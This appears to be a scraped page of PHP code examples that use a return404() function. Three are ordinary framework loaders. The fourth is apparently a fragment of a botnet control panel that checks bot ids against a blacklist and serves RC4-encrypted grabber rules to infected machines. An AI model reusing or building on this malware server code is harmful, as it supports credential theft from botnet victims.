Example #1
0
/**
 * 自动装载函数
 *
 * @param string $message 要注册的类的名称
 * @return void
 */
function autoLoad($className)
{
    $className = strtolower($className);
    if (file_exists(CORE_PATH . $className . '.php')) {
        require CORE_PATH . $className . '.php';
    } else {
        APP_DEBUG ? exit('Core ' . $className . ' does not exist.') : return404();
    }
}
Example #2
0
 /**
  * 渲染模版
  *
  * @param string $file 需要渲染的模板文件名称
  * @access private
  * @return string
  */
 private function load($file)
 {
     $file_path = $this->_path . $file . '.' . $this->_ext;
     if (!file_exists($file_path)) {
         APP_DEBUG ? exit('Template ' . $file . ' does not exist.') : return404();
     }
     extract($this->_vars);
     ob_start();
     include $file_path;
     $contents = ob_get_contents();
     ob_end_clean();
     return $contents;
 }
Example #3
0
 /**
  * 载入辅助函数
  *
  * @param string $helper 需要载入的辅助函数所在的文件名称
  * @access protected
  * @return void
  */
 protected function loadHelper($helper)
 {
     $path = HELPER_PATH . strtolower($helper) . '.php';
     if (file_exists($path)) {
         require $path;
     } else {
         APP_DEBUG ? exit('Helper ' . $helper . ' does not exist.') : return404();
     }
 }
Example #4
0
    }
    return $ct;
}
$id = (double) $_GET["id"];
if ($id == 0) {
    return404();
}
if (!@mysql_connect($settings['mysql_host'], $settings['mysql_user'], $settings['mysql_pass'])) {
    return404();
}
if (!@mysql_select_db($settings['mysql_db'])) {
    return404();
}
$qres = @mysql_query("SELECT * FROM blacklist RIGHT JOIN bots ON blacklist.id=bots.id WHERE bots.id={$id} AND blacklist.id IS NULL LIMIT 1");
if (mysql_num_rows($qres) == 0) {
    return404();
}
$content = "";
$qres = @mysql_query("SELECT rule FROM fg WHERE enabled=1 ORDER BY id");
$cl = 5;
// crc32 + last zero
while ($row = mysql_fetch_assoc($qres)) {
    $rule = htmlspecialchars_decode($row['rule']);
    $content .= $rule . "";
    $cl += strlen($rule) + 1;
}
header("Content-Type: application/octet-stream");
header("Content-Length: {$cl}");
$content .= "";
echo pack("V", crc32($content));
echo rc4Crypt($settings['rc4key'], $content);